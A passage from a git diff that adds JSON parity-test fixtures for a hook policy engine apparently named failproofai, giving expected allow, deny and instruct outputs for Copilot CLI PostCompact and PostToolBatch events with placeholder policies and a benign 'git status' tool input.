"case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostCompact/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PostCompact/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..52be8df5 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostCompact/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostCompact/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PostCompact/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..daf35a52 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostCompact/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostCompact/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PostCompact/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..78b70d80 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostCompact/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostCompact/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PostCompact/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..6bdbde18 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostCompact/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolBatch/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PostToolBatch/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..d6f316f1 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolBatch/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolBatch/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PostToolBatch/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..d470ea59 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolBatch/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolBatch/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PostToolBatch/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..9da41f26 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolBatch/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolBatch/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PostToolBatch/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..91b7d73f --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolBatch/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolBatch/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PostToolBatch/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..0168f6af --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolBatch/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolBatch/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PostToolBatch/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..de86df13 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolBatch/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolBatch/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PostToolBatch/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..606585e8 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolBatch/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolBatch/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PostToolBatch/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..37c29b88 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolBatch/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolBatch/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PostToolBatch/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..e55994ce --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolBatch/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolBatch/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PostToolBatch/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..e2fd7004 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolBatch/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolBatch/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PostToolBatch/deny__tool-present__one-policy.json new file mode 100644 index 00000000..95f59e67 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolBatch/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolBatch/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PostToolBatch/deny__tool-present__two-policies.json new file mode 100644 index 00000000..4b95e754 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolBatch/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolBatch/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PostToolBatch/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..a6d8c3c0 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolBatch/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolBatch\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolBatch/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PostToolBatch/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..be91e9ee --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolBatch/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolBatch\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolBatch/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PostToolBatch/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..634a8e1d --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolBatch/instruct__tool-present__one-policy.json 